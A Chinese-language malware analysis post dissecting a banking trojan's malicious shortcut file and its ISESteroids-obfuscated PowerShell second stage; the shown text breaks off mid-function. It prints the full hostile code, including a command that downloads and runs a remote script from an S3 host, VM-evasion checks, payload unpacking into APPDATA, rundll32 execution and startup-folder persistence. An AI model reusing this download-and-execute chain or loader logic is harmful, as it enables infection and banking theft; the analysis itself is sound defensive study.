分析银行木马的恶意快捷方式及混淆的Powershell

在本文中,将分析一款银行恶意软件,分为两个阶段。第一阶段是Windows快捷方式文件(LNK文件),第二阶段为Powershell脚本(已被ISESteriods混淆)。

其中的样本包括所有删除的文件,都可以下载。哈希值如下,感兴趣的小伙伴可以下载下来玩下!

MD5:907dbc3048f75bb577ff9c064f860fc5SHA-1:667b8fa87c31f7afa9a7b32c3d88f365a2eeab9cSHA-256:78a14c6663bd9235b014b6d7b7ce19487f163317fdd36bb111d8797d7a7f1724

阶段1 –LNK

快捷方式一般目的是调用cmd.exe去执行命令,比如如下面示例。

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/

参数

参数/ V和/ C一般结合使用。然后使用/?标志来显示帮助信息。下面是执行此操作的完整命令。

cmd.exe /?

请注意,多个命令由命令分隔符“&&”分隔。

变量

变量在百分号之间拆分,并使用两个“&”号将多个命令连接在一起。关键字set用于声明变量并为其设置值。下面,对命令进行了拆分,以便每个命令都在新行上。

set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/

前两个变量(x4OAGWfxlES02z6NnUkK和L1U03HmUO6B9IcurCNNlo4)用于在最后一行进行拼接,最终的url如下所示

https://get.adobe.com/br/flashplayer/

调用默认的浏览器打开Adobe Flash Player官方网站。

完整的快捷方式

十六进制编辑器的结果如下。

C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/                                                                                                                      &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe

当所有命令都在一行中时,上面的命令很难阅读。我们来重新调一下

x4OAGWfxlES02z6NnUkK=2whttpr0L1U03HmUO6B9IcurCNNlo4=.com%x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ aZM4j3ZhPLBn9MpuxaO= -win 1MlyavWfE=ndowsjA8Axao1xcZ=iExWMkgA3uXa1pXx=tRiKNhGmAqHG5=bJe4kxhaz6bqqKC=LOadrwZCnSC7T=nopjcCvC=NEwZTVZ=wEbcDABThzRuTT2hYjVOy=nt).dowcwdOsPOdA08SZaXVp1eFR=t NeT.Rb=Ersj4HfRAqYXcRZ3R=hEllKpl01SsXY5tthb1=.bmpvh7q6Aq0zZVLclPm=\v1.0\2Mh=pOw8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%@echo off %SystemDrive%cd\cd %SystemRoot%\System32echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\Internet Explorer\iexplore.exe

将上面的命令提取一下,大概命令如下。

echo iEx(iEx(NEw-obJect NeT.wEbcLient).downLOadStRiNG('https://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowspOwErshEll\v1.0\pOwErshEll -nop -win 1 --%ProgramFiles%\Internet Explorer\iexplore.exe

根据Microsoft文档中的提示,iex代表Invoke-Expression,也就是执行的意思,这串代码的意思就是从Amazon AWS服务器下载位图(.BMP),然后使用Powershell打开它。参数-nop。不使用任何配置文件,其次,参数-win 1,值1代表隐藏窗口。

第二阶段– ISES

我们提取出bmp图片里面的Powershell脚本。完整的脚本如下。

${____/===\/=====\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHMAMwAtAGUAdQAtAHcAZQBzAHQALQAxA**AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGoAdQByAGUAbQBhAHMAbwBiAHIAYQAyAC8AaQBtAGEAZwBlADIALgBwAG4AZwA===')))
_.dll = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAGQAbABsAA==')))
_.prx = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XwAuAHAAcgB4AA==')))
MaxNotify   = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAHgATgBvAHQAaQBmAHkA')))

function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbABCAG8AeAA='))) -or
    ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA=='))) -or
    ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA'))) -or
  ${_/\___/=\_/\/\__/} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABWAE0AIABkAG8AbQBVAA=='))))
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFE**wBFAFI**ABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEM**gBCAE4ATQA=')))
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{ 
    ${/=\_/\/====\/\_/\} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBVAHIAaQA='))) $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXAAvAFwAXwAvAFwAXwAvAD0AXABfAF8ALwBcAH0A'))) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
} 
function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXABfAF8AXwBfAC8AXABfAC8APQBcAC8AXABfAH0A')))
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXABTAHkAcwB0AGUAbQAzADIA'))) 
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlA**AZQB4AGUALAAxAA==')))
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}
function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NAA0ADQANAA0ADQANAA0ADQANAA0ADQA'))))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}
  if (_/=\/\/===\/==\___ -eq "N")
  {
  if (_/=\/\_/\/===\_/==)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = ____/\__/===\_/=\/
    ${/===\/=\/\_/=\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
    ${_/=\/===\/\___/\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB2AGIAcwA=')))
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB6AGkAcAA=')))
           ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAC8APQA9AFwAXwBfAC8AXABfAC8AXABfAF8ALwB9AA=='))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQA9AD0AXABfAF8ALwBcAC8APQA9AFwAXwAvAD0APQB9AA==')));
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAHIAeAA='))) 
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA='))) 
          ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwALwBcAF8ALwBcAF8ALwA9AFwALwA9AD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwAvAD0AXABfAC8APQBcAF8ALwBcAF8AXwBfAH0A'))); 
          ren -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwBfAF8AXwAvAD0AXAAvAFwAXwAvAD0APQA9AH0A'))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsALwA9AFwAXwAvAD0APQA9AFwALwBcAF8ALwA9AD0APQBcAH0A')));  
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAByAHUAbgBkAGwAbAAzADIALgBlAHgAZQAgACQAewBfAC8AXABfAC8APQBcAF8ALwA9AFwAXwAvAFwAXwBfAF8AfQAsACAAJAB7AF8AXwBfAC8APQBcAC8AXAAvAFwAXwBfAF8AXwBfAC8APQB9AA==')))
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwALwBcAC8AXAAvAD0AXABfAF8ALwBcAC8APQB9AFwAJAB7AC8APQBcAF8ALwA9AD0APQBcAC8AXABfAC8APQA9AD0AXAB9A**AbABuAGsA')))          
          _____/==\_/=\_/=== ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

代码中各种花里胡巧的混淆。函数和变量名什么的都被混淆了,代码中的字符串也使用base64编码方案进行了编码。

这样肯定是读不了的,要想办法还原回去,下面给出了替换字符串的代码。

${____/===\/=====\/} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')

function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or
    ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or
    ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or
  ${_/\___/=\_/\/\__/} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{
    ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
} 
function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}')
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32')
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}
function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}
  if (_/=\/\/===\/==\___ -eq "N")
  {
  if (_/=\/\_/\/===\_/==)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = ____/\__/===\_/=\/
    ${/===\/=\/\_/=\/==} = $('.txt')
    ${_/=\/===\/\___/\_} = $('.vbs')
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip')
           ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}');
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx')
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}');
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}');
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup');
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}')
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk')
          _____/==\_/=\_/=== ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

这样我们就可以慢慢分析上面的代码了,下面我将其中部分重要代码拿出来分析,并用通俗的方法展示出来。

在下面给出的代码中,命名了多个虚拟系统。

function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or
    ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or
    ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or
  ${_/\___/=\_/\/\__/} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}

我们可以看到,变量_ / \ ___ / = \ _ / \ / \ __ /包含有关当前系统的信息。因此可以将其重命名为computerSystem。同样的_ / = \ / \ / === \ / == \ ___是检查当前环境是否为虚拟环境,因此可以将其重命名为vmCheck。重构代码如下。

function vmCheck
{
  ${computerSystem} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${computerSystem} -eq $('VirtualBox') -or
    ${computerSystem} -eq $('VMware Virtual Platform') -or
    ${computerSystem} -eq $('Virtual Machine') -or
  ${computerSystem} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}

下面的函数看起来像一个随机字符串生成器,因为有一个字符串包含一个通用的键盘布局。

function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
